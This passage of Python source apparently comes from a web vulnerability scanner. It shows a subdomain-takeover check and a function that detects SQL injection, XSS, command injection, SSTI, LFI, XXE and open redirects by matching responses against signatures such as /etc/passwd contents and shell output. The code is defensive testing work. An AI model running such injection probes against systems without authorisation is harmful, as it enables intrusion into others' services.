If the CNAME target also returns a known "unclaimed" error page, emits a hint.
Never claims ownership or exploits — tester must verify and act.
Requires: pip install dnspython
"""
if not self.checks.get("subdomain_takeover", True):
return
if not DNS_AVAILABLE:
_warn("dnspython not installed — skipping subdomain takeover check. "
"Run: pip install dnspython")
if prog and task is not None:
prog.advance(task)
return
hostname = self.parsed.hostname
if not hostname:
return
try:
answers = dns.resolver.resolve(hostname, "CNAME")
for rdata in answers:
cname = str(rdata.target).rstrip(".")
for pattern, (service, error_sig) in TAKEOVER_SIGNATURES.items():
if cname.endswith(pattern):
# Probe CNAME target for the error page signature
probe = self.http.get(f"https://{cname}", allow_redirects=True)
confirmed_unclaimed = (
probe and error_sig.lower() in (probe.text or "").lower()
)
if confirmed_unclaimed:
self.report["subdomain_hints"].append(hostname)
self._add_hint(
hostname,
f"Possible subdomain takeover via {service} — investigate urgently",
f"The CNAME for {hostname} points to '{cname}' ({service}), "
f"which returns an 'unclaimed resource' response. "
f"This MAY mean the {service} resource is no longer registered "
f"to your organisation and could potentially be claimed by a third party. "
f"Verify by checking your {service} account for this resource, "
f"then either reclaim it or remove the dangling CNAME."
)
else:
self._add_hint(
hostname,
f"CNAME points to {service} ({cname}) — confirm active ownership",
f"The DNS CNAME for {hostname} resolves to a {service} domain. "
f"Ensure the corresponding {service} resource is still registered "
f"and owned by your organisation to prevent future takeover risk."
)
except (dns.exception.DNSException, Exception):
pass # No CNAME / DNS resolution failure — not an error condition
if prog and task is not None:
prog.advance(task)
# ─────────────────────────────────────────────────────────────
# PHASE 8 — Response analysis (injection detection)
# ─────────────────────────────────────────────────────────────
def _check_response(self, r, payload, context, url):
if not r:
return
text = r.text or ""
lower = text.lower()
# SQL injection — error based
if payload in (SQLI_ERROR_PAYLOADS + SQLI_TIME_PAYLOADS):
if any(sig in lower for sig in SQL_ERROR_SIGS):
self._add_vuln(f"SQL Error-Based Injection ({context})",
snippet(text), severity="high", url=url)
# SQL injection — time based
elapsed = getattr(r, "_elapsed_sec", 0)
if payload in SQLI_TIME_PAYLOADS and elapsed > 4.0:
self._add_vuln(f"Time-Based SQL Injection ({context})",
f"response_time={elapsed:.2f}s", severity="high", url=url)
# XSS — reflected
if XSS_TEST_EXPR in text:
self._add_vuln(f"Reflected XSS ({context})",
snippet(text), severity="high", url=url)
# Command injection
if re.search(r"uid=\d|root:.*:/bin/|/bin/bash|Current user:|volume serial", text, re.IGNORECASE):
self._add_vuln(f"Possible Command Injection ({context})",
snippet(text), severity="high", url=url)
# SSTI — {{7*7}} → 49
if payload in SSTI_PAYLOADS and "49" in text:
self._add_vuln(f"Possible SSTI ({context})",
snippet(text), severity="high", url=url)
# LFI — /etc/passwd content
if payload in LFI_PAYLOADS and re.search(r"root:.*:0:0:|extension=\w", text):
self._add_vuln(f"Local File Inclusion ({context})",
snippet(text), severity="high", url=url)
# XXE
if payload in XXE_PAYLOADS:
if re.search(r"root:|For 16-bit app support|\[extensions\]", text, re.IGNORECASE):
self._add_vuln(f"Possible XXE Injection ({context})",
snippet(text), severity="high", url=url)
# Open redirect
if r.status_code in (301, 302, 303, 307, 308):
loc = r.headers.get("Location", "")
if loc and urlparse(loc).netloc not in ("", self.parsed.netloc):
self._add_vuln("Open Redirect", loc, severity="medium", url=url)
# ─────────────────────────────────────────────────────────────
# PHASE 9 — URL parameter injection
# ─────────────────────────────────────────────────────────────